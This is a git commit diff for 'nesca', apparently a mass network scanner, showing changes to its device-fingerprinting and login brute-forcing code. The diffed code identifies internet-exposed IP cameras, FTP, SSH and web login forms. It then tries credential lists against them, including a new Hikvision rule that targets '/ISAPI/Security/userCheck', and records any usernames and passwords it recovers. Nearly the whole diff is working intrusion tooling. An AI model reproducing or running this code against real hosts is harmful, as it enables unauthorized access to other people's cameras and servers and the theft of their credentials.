mirror of
https://github.com/ChronosX88/nesca.git
synced 2024-12-25 01:01:45 +00:00
#3_22676-859
This commit is contained in:
parent
71d0a8d166
commit
3d4f51f19c
@ -1,5 +1,4 @@
|
||||
#include "ActivityDrawerTh_HorNet.h"
|
||||
#include "STh.h"
|
||||
|
||||
void ActivityDrawerTh_HorNet::doEmitDrawActivityLine(QString data)
|
||||
{
|
||||
|
@ -2,7 +2,7 @@
|
||||
#define ACTIVITYDRAWERTH_HORNET_H
|
||||
|
||||
#pragma once
|
||||
#include "nesca_3.h"
|
||||
#include "STh.h"
|
||||
|
||||
class ActivityDrawerTh_HorNet : public QThread
|
||||
{
|
||||
|
@ -2,8 +2,7 @@
|
||||
#define CHECKKEY_TH_H
|
||||
|
||||
#pragma once
|
||||
#include "nesca_3.h"
|
||||
#include "resource.h"
|
||||
#include "STh.h"
|
||||
extern int emitIfOK;
|
||||
class CheckKey_Th : public QThread
|
||||
{
|
||||
|
@ -1,5 +1,4 @@
|
||||
#include "DrawerTh_GridQoSScanner.h"
|
||||
#include "STh.h"
|
||||
|
||||
void DrawerTh_GridQoSScanner::doEmitAddLine()
|
||||
{
|
||||
|
@ -2,8 +2,7 @@
|
||||
#define DRAWERTH_GRIDQOSSCANNER_H
|
||||
|
||||
#pragma once
|
||||
#include "nesca_3.h"
|
||||
#include "resource.h"
|
||||
#include "STh.h"
|
||||
|
||||
class DrawerTh_GridQoSScanner : public QThread
|
||||
{
|
||||
|
@ -2,8 +2,7 @@
|
||||
#define DRAWERTH_ME2SCANNER_H
|
||||
|
||||
#pragma once
|
||||
#include "nesca_3.h"
|
||||
#include "resource.h"
|
||||
#include "STh.h"
|
||||
|
||||
class DrawerTh_ME2Scanner : public QThread
|
||||
{
|
||||
|
629
connector.cpp
629
connector.cpp
File diff suppressed because it is too large
Load Diff
264
finder.cpp
264
finder.cpp
@ -28,7 +28,6 @@ char *_findFirstOcc(char *str, char *delim)
|
||||
};
|
||||
};
|
||||
|
||||
//return str;
|
||||
return NULL;
|
||||
};
|
||||
char *FindLastOcc(char *str, char *delim)
|
||||
@ -169,11 +168,6 @@ char *GetCodePage(char *str)
|
||||
int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
|
||||
{
|
||||
if(strlen(buffcpy) == 0) return -1;
|
||||
|
||||
// char buffcpy[RECV_MAX_LENGTH] = {0};
|
||||
//std::string rr = toLowerStr(xcode(buffcp, CP_UTF8, CP_ACP).c_str());
|
||||
|
||||
//memcpy((void*)buffcpy, rr.c_str(), rr.size());
|
||||
|
||||
char negWord[256] = {0};
|
||||
for(int i = 0; i < GlobalNegativeSize; i++)
|
||||
@ -181,7 +175,7 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
|
||||
if(globalScanFlag)
|
||||
{
|
||||
strcpy(negWord, GlobalNegatives[i]);
|
||||
if(strstr(buffcpy, negWord) != NULL && (strcmp(negWord, "") != 0 || strlen(negWord) >= 2))
|
||||
if(strstr(buffcpy, negWord) != NULL)
|
||||
{
|
||||
if(gNegDebugMode)
|
||||
{
|
||||
@ -237,7 +231,9 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|
||||
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|
||||
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
|
||||
)
|
||||
&& strstr(buffcpy, "digest realm") != NULL) return 101;
|
||||
&& strstr(buffcpy, "digest realm") != NULL
|
||||
&& strstr(buffcpy, "basic realm") == NULL
|
||||
) return 101;
|
||||
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|
||||
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
|
||||
) return 1;
|
||||
@ -265,9 +261,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|
||||
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //ip cams
|
||||
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //IPC web ip cam
|
||||
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
|
||||
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|
||||
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
|
||||
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
|
||||
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|
||||
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
|
||||
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
|
||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
|
||||
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
|
||||
@ -276,7 +271,13 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|
||||
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
|
||||
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
|
||||
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
|
||||
|
||||
if(strstr(buffcpy, "lapassword") != NULL
|
||||
&& strstr(buffcpy, "lausername") != NULL
|
||||
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
|
||||
) return 44; //hikvision cam 2
|
||||
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|
||||
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
|
||||
|
||||
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
||||
(strstri(buffcpy, "220 diskStation ftp server ready") != NULL) ||
|
||||
(strstri(buffcpy, "220 ftp server ready") != NULL)
|
||||
@ -304,7 +305,9 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
|
||||
if((strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|
||||
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
|
||||
)
|
||||
&& strstr(buffcpy, "digest realm") != NULL) return 101;
|
||||
&& strstr(buffcpy, "digest realm") != NULL
|
||||
&& strstr(buffcpy, "basic realm") == NULL
|
||||
) return 101;
|
||||
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
|
||||
|| strstr(buffcpy, "401 unauthorized access denied") != NULL || strstr(buffcpy, "401 unauthorised") != NULL || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, " 401\r\n") != NULL)
|
||||
) return 1;
|
||||
@ -332,9 +335,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
|
||||
if(strstr(buffcpy, "ip camera") != NULL && strstr(buffcpy, "check_user.cgi") != NULL) return 31; //axis cameras
|
||||
if(strstr(buffcpy, "ws(\"user\");") != NULL && strstr(buffcpy, "src=\"/tool.js") != NULL && strstr(buffcpy, "<b class=\"xb1\"></b>") != NULL) return 32; //web ip cam
|
||||
if(strstr(buffcpy, "geovision") != NULL && (strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "ssi.cgi/login.htm") != NULL)) return 33; //GEO web ip cam
|
||||
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|
||||
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
|
||||
if(strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL) return 35; //EasyCam
|
||||
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
|
||||
|| strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
|
||||
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
|
||||
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
|
||||
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
|
||||
@ -343,7 +345,13 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
|
||||
if(strstr(buffcpy, "sq-webcam") != NULL && strstr(buffcpy, "liveview.html") != NULL) return 41; //AVIOSYS-camera
|
||||
if(strstr(buffcpy, "nw_camera") != NULL && strstr(buffcpy, "/cgi-bin/getuid") != NULL) return 42; //NW_camera
|
||||
if(strstr(buffcpy, "micros") != NULL && strstr(buffcpy, "/gui/gui_outer_frame.shtml") != NULL) return 43; //NW_camera
|
||||
|
||||
if(strstr(buffcpy, "lapassword") != NULL
|
||||
&& strstr(buffcpy, "lausername") != NULL
|
||||
&& strstr(buffcpy, "g_ologin.dologin()") != NULL
|
||||
) return 44; //hikvision cam 2
|
||||
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|
||||
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
|
||||
|
||||
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
|
||||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
|
||||
(strstr(buffcpy, "220 ftp server ready") != NULL)
|
||||
@ -979,7 +987,7 @@ void _getFormVal(char *data, char *result, char *key, char *path = NULL)
|
||||
|
||||
static const std::string arrUser[] = {"user", "usr", "username", "login", "lgn", "account", "acc", "param1", "param3", "id", "A1", "uname", "mail", "name"};
|
||||
vector<std::string> vecUser (arrUser, arrUser + sizeof(arrUser) / sizeof(arrUser[0]) );
|
||||
static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws"};
|
||||
static const std::string arrPass[] = {"pass", "pw", "password", "code", "param2", "param4", "secret", "login_p", "A2", "admin_pw", "pws", "secretkey"};
|
||||
vector<std::string> vecPass (arrPass, arrPass + sizeof(arrPass) / sizeof(arrPass[0]) );
|
||||
|
||||
char *_getAttribute(char *str, char *attrib)
|
||||
@ -1006,19 +1014,19 @@ char *_getAttribute(char *str, char *attrib)
|
||||
void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
|
||||
{
|
||||
char *pos = NULL;
|
||||
char field[128] = {0};
|
||||
char field[256] = {0};
|
||||
if(strcmp(key, "USER") == 0)
|
||||
{
|
||||
for(int i = 0; i < inputVec.size(); ++i)
|
||||
{
|
||||
ZeroMemory(field, 128);
|
||||
ZeroMemory(field, 256);
|
||||
_getFormVal((char*)inputVec[i].data(), field, "name=");
|
||||
for(int j = 0; j < vecUser.size(); ++j)
|
||||
{
|
||||
pos = strstri(field, vecUser[j].data());
|
||||
if(pos != NULL)
|
||||
{
|
||||
strncpy(buff, field, 128);
|
||||
strncpy(buff, field, 256);
|
||||
return;
|
||||
};
|
||||
};
|
||||
@ -1028,14 +1036,14 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
|
||||
{
|
||||
for(int i = 0; i < inputVec.size(); ++i)
|
||||
{
|
||||
ZeroMemory(field, 128);
|
||||
ZeroMemory(field, 256);
|
||||
_getFormVal((char*)inputVec[i].data(), field, "name=");
|
||||
for(int j = 0; j < vecPass.size(); ++j)
|
||||
{
|
||||
pos = strstri(field, vecPass[j].data());
|
||||
if(pos != NULL)
|
||||
{
|
||||
strncpy(buff, field, 128);
|
||||
strncpy(buff, field, 256);
|
||||
return;
|
||||
};
|
||||
};
|
||||
@ -1103,14 +1111,15 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
||||
char *inptPtr1 = strstri(frmBlock, "<input ");
|
||||
int insz = 0;
|
||||
char *inptPtrEnd = NULL;
|
||||
char tempInptStr[128] = {0};
|
||||
char tempInptStr[256] = {0};
|
||||
while(inptPtr1 != NULL)
|
||||
{
|
||||
inptPtrEnd = strstr(inptPtr1, ">");
|
||||
if(inptPtrEnd != NULL)
|
||||
{
|
||||
ZeroMemory(tempInptStr, 256);
|
||||
insz = inptPtrEnd - inptPtr1 + 1;
|
||||
strncpy(tempInptStr, inptPtr1, (insz < 128 ? insz : 128));
|
||||
strncpy(tempInptStr, inptPtr1, (insz < 256 ? insz : 256));
|
||||
inputVec.push_back(std::string(tempInptStr));
|
||||
inptPtr1 = strstri(inptPtrEnd, "<input ");
|
||||
}
|
||||
@ -1124,9 +1133,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
|
||||
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||
putInFile(flag, ip, tport, recd, title, hl, cp);
|
||||
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: No text/password fields found.");
|
||||
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "NULL", "NULL", comment, cp, tclass);
|
||||
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
||||
};
|
||||
}
|
||||
else
|
||||
@ -1206,9 +1215,9 @@ void _specWFBrute(char *ip, int port, char *hl, char *buff, int flag, char *path
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
|
||||
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
||||
putInFile(flag, ip, tport, recd, title, hl, cp);
|
||||
if(gNegDebugMode) stt->doEmitionFoundData("<a href=\"http://" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: Cannot find user/pass field.");
|
||||
///fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), title, "", "", "UnknownWebform", cp, tclass);
|
||||
///putInFile(flag, ip, tport, recd, title, hl, cp);
|
||||
};
|
||||
};
|
||||
OnLiner = 0;
|
||||
@ -1257,7 +1266,7 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int
|
||||
fillGlobalLogData(ip, hl, tport, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization");
|
||||
};
|
||||
|
||||
ZeroMemory(temp, strlen(temp));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
};
|
||||
const char *GetTitle(char* str)
|
||||
{
|
||||
@ -1373,52 +1382,82 @@ const char *GetTitle(char* str)
|
||||
|
||||
return finalstr;
|
||||
};
|
||||
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
|
||||
void _saveSSH(char *ip, int port, int recd, char *buffcpy)
|
||||
{
|
||||
char b[16] = {0};
|
||||
|
||||
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
|
||||
if(p == 22)
|
||||
if(buffcpy != NULL)
|
||||
{
|
||||
flag = -22;
|
||||
char b[16] = {0};
|
||||
char log[2048] = {0};
|
||||
char logEmit[2048] = {0};
|
||||
char goodStr[256] = {0};
|
||||
char banner[256] = {0};
|
||||
|
||||
char *ptr1 = strstr(buffcpy, "|+|");
|
||||
int gsz = ptr1 - buffcpy;
|
||||
strncpy(goodStr, buffcpy, gsz);
|
||||
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
|
||||
strcpy(logEmit, "[SSH] ");
|
||||
strcpy(log, "[SSH] <font color=\"#00a8ff\">");
|
||||
strcat(log, goodStr);
|
||||
strcat(log, "</font>");
|
||||
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
|
||||
strcat(log, banner);
|
||||
strcat(log, "</font>");
|
||||
if(ptr1 != NULL)
|
||||
{
|
||||
int gsz = ptr1 - buffcpy;
|
||||
strncpy(goodStr, buffcpy, gsz);
|
||||
if(strlen(ptr1 + 3) > 0) strcpy(banner, ptr1 + 3);
|
||||
strcpy(logEmit, "[SSH] ");
|
||||
strcpy(log, "[SSH] <font color=\"#00a8ff\">");
|
||||
strcat(log, goodStr);
|
||||
strcat(log, ":");
|
||||
strcat(log, itoa(port, b, 10));
|
||||
strcat(log, "</font>");
|
||||
strcat(log, "<font color=\"#323232\">; Banner:</font> <font color=\"#9cff00\">");
|
||||
strcat(log, banner);
|
||||
strcat(log, "</font>");
|
||||
|
||||
++PieSSH;
|
||||
++PieSSH;
|
||||
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
|
||||
strcat(logEmit, goodStr);
|
||||
strcat(logEmit, ":");
|
||||
strcat(logEmit, itoa(port, b, 10));
|
||||
strcat(logEmit, "</span>");
|
||||
|
||||
strcat(logEmit, "<span style=\"color: #00a8ff;\">");
|
||||
strcat(logEmit, goodStr);
|
||||
strcat(logEmit, "</span>");
|
||||
|
||||
fputsf (ip, itoa(p, b, 10), log, flag, "SSH");
|
||||
|
||||
char loginSSH[128] = {0};
|
||||
char passSSH[128] = {0};
|
||||
char *ptrl1 = strstr(buffcpy, ":");
|
||||
int lpsz = ptrl1 - buffcpy;
|
||||
strncpy(loginSSH, buffcpy, lpsz);
|
||||
char *ptrl2 = strstr(buffcpy, "@");
|
||||
lpsz = ptrl2 - ptrl1;
|
||||
strncpy(passSSH, ptrl1 + 1, lpsz);
|
||||
fillGlobalLogData(ip, hl, itoa(p, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
||||
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
#pragma endregion
|
||||
fputsf (ip, itoa(port, b, 10), log, -22, "SSH");
|
||||
char loginSSH[128] = {0};
|
||||
char passSSH[128] = {0};
|
||||
char *ptrl1 = strstr(buffcpy, ":");
|
||||
int lpsz = ptrl1 - buffcpy;
|
||||
strncpy(loginSSH, buffcpy, lpsz);
|
||||
char *ptrl2 = strstr(buffcpy, "@");
|
||||
lpsz = ptrl2 - ptrl1;
|
||||
strncpy(passSSH, ptrl1 + 1, lpsz);
|
||||
fillGlobalLogData(ip, "", itoa(port, b, 10), std::to_string((long double)recd).c_str(), "[SSH service]", loginSSH, passSSH, "NULL", "UTF-8", "SSH");
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_saveSSH] Wrong format! [" + QString(ip) + ":" + QString::number(port) + "]");
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("[_saveSSH] Empty buffer! [" + QString(ip) + ":" + QString::number(port) + "]");
|
||||
};
|
||||
};
|
||||
int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *hl)
|
||||
{
|
||||
char b[16] = {0};
|
||||
|
||||
if( strstr(buffcpy, "[IGNR_ADDR]") != NULL ) return -1;
|
||||
if( strstr(buffcpy, "SSH-2.0-OpenSSH") != NULL )
|
||||
{
|
||||
conSTR CSTR;
|
||||
CSTR.lowerBuff = NULL;
|
||||
CSTR.size = 0;
|
||||
int res = _SSHLobby(ip, p, &CSTR);
|
||||
if(res != -1 && res != -2)
|
||||
{
|
||||
_saveSSH(ip, p, recd, CSTR.lowerBuff);
|
||||
};
|
||||
return -1;
|
||||
};
|
||||
|
||||
if(p == 22)
|
||||
{
|
||||
_saveSSH(ip, p, recd, buffcpy);
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -1433,7 +1472,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
ZeroMemory(ps.headr, sizeof(ps.headr));
|
||||
ZeroMemory(ps.path, sizeof(ps.path));
|
||||
|
||||
char finalstr[TITLE_MAX_LENGTH] = {0};
|
||||
char finalstr[TITLE_MAX_SIZE] = {0};
|
||||
char port[32] = {0};
|
||||
int flag = 0;
|
||||
char cp[32] = {0};
|
||||
@ -1451,7 +1490,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
std::vector<std::string> redirStrLst;
|
||||
char rBuff[65536] = {0};
|
||||
strncpy(rBuff, buffcpy, 65535);
|
||||
char cookie[1024] = {0};
|
||||
if(flag == 0 || flag == 3 || flag == 7 )
|
||||
{
|
||||
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst, rBuff);
|
||||
@ -1462,11 +1500,14 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
strcat(finalstr, ps.headr);
|
||||
p = ps.port;
|
||||
strcpy(ip, ps.ip);
|
||||
strcpy(cookie, ps.cookie);
|
||||
};
|
||||
|
||||
int sz = strlen(ps.path);
|
||||
strncpy(pps, ps.path, (sz < 256 ? sz : 256));
|
||||
}
|
||||
else
|
||||
{
|
||||
if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE);
|
||||
};
|
||||
|
||||
strcpy(port, itoa(p, b, 10));
|
||||
@ -1475,9 +1516,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
if(flag == -1 || flag == 6 || strstr(finalstr, "[IGNR_ADDR]") != NULL) return -1;
|
||||
|
||||
fillerFlag = 1;
|
||||
|
||||
#pragma region Fillers
|
||||
|
||||
if(flag == 16)
|
||||
{
|
||||
Connector con;
|
||||
@ -1577,8 +1616,6 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
fputsf(ip, port, log, flag, "FTP");
|
||||
|
||||
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), "[FTP service]", lps.login, lps.pass, "NULL", cp, "FTP");
|
||||
|
||||
|
||||
#pragma region QTGUI_Area
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(logEmit));
|
||||
#pragma endregion
|
||||
@ -1685,6 +1722,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
{
|
||||
_specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "[Micros] IP Camera", "Basic Authorization", cp, recd, "");
|
||||
}
|
||||
else if(flag == 44) //Hikvision ip cam 2
|
||||
{
|
||||
_specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/ISAPI/Security/userCheck", "[Hikvision] IP Camera", "Basic Authorization", cp, recd, "");
|
||||
}
|
||||
else if(flag == 20) //AXIS Camera
|
||||
{
|
||||
_specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "AXIS Camera", "Basic Authorization", cp, recd, "");
|
||||
@ -1746,7 +1787,7 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char *
|
||||
fillGlobalLogData(ip, hl, port, std::to_string((long double)recd).c_str(), finalstr, lps.login, lps.pass, "HFS-FTP", cp, "Basic Authorization");
|
||||
fputsf (ip, port, log , flag, "HFS");
|
||||
stt->doEmitionFoundData(QString::fromLocal8Bit(log));
|
||||
ZeroMemory(temp, strlen(temp));
|
||||
ZeroMemory(temp, sizeof(temp));
|
||||
}
|
||||
else if(flag == 1)
|
||||
{
|
||||
@ -1797,7 +1838,6 @@ int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, P
|
||||
if(strstri(str, "https://") != NULL)
|
||||
{
|
||||
tempPort = 443;
|
||||
|
||||
char *ptr1 = strstri(str, "https://");
|
||||
char *ptr2 = _findFirstOcc(str + 8, ":/");
|
||||
if(ptr2 != NULL)
|
||||
@ -2288,6 +2328,26 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int
|
||||
else strncpy(dataBuff, ptrQuote1 + 1, lsz);
|
||||
};
|
||||
};
|
||||
}
|
||||
else
|
||||
{
|
||||
ptrQuote1 = strstr(ptr2, "=");
|
||||
if(ptrQuote1 != NULL)
|
||||
{
|
||||
char *ptrQuote2 = _findFirstOcc(ptr2, ";\n");
|
||||
if(ptrQuote2 != NULL)
|
||||
{
|
||||
int sz = ptrQuote2 - ptr2 - 1;
|
||||
char link1[512] = {0};
|
||||
strncpy(link1, ptr2 + 1, sz);
|
||||
char *ptrQuote3 = strstr(link1, "/");
|
||||
if(ptrQuote3 != NULL)
|
||||
{
|
||||
char link[512] = {0};
|
||||
strcpy(dataBuff, ptrQuote3);
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
}
|
||||
@ -2321,7 +2381,7 @@ void _getJSCookie(char *dataBuff, char *str, char *ip, int port)
|
||||
int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst, char *rBuff)
|
||||
{
|
||||
std::string redirectStr = "";
|
||||
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), 1024);
|
||||
if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE);
|
||||
|
||||
#pragma region Prechecks
|
||||
if(strstr(str, "[IGNR_ADDR]") != NULL)
|
||||
@ -2387,6 +2447,7 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|
||||
#pragma region 302 Redirects
|
||||
if( strstri(str, "http/1.0 301") != NULL || strstri(str, "http/1.1 301") != NULL
|
||||
|| strstri(str, "http/1.0 302") != NULL || strstri(str, "http/1.1 302") != NULL
|
||||
|| strstri(str, "http/1.0 307") != NULL || strstri(str, "http/1.1 307") != NULL
|
||||
|| strstri(str, "303 see other") != NULL
|
||||
)
|
||||
{
|
||||
@ -2545,7 +2606,6 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|
||||
memset(scriptContainer + sz, '\0', 1);
|
||||
|
||||
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
|
||||
else if(strstri(scriptContainer, "window.location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "window.location", ip, port);
|
||||
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
|
||||
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
|
||||
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
|
||||
@ -2560,7 +2620,11 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|
||||
};
|
||||
};
|
||||
delete []scriptContainer;
|
||||
if(ps->flag == 1) return -2;
|
||||
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|
||||
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|
||||
|| ps->flag == 10
|
||||
)
|
||||
return -2;
|
||||
}
|
||||
else
|
||||
{
|
||||
@ -2571,6 +2635,46 @@ int Lexems::_header(char *ip, int port, char str[], Lexems *l, PathStr *ps, std:
|
||||
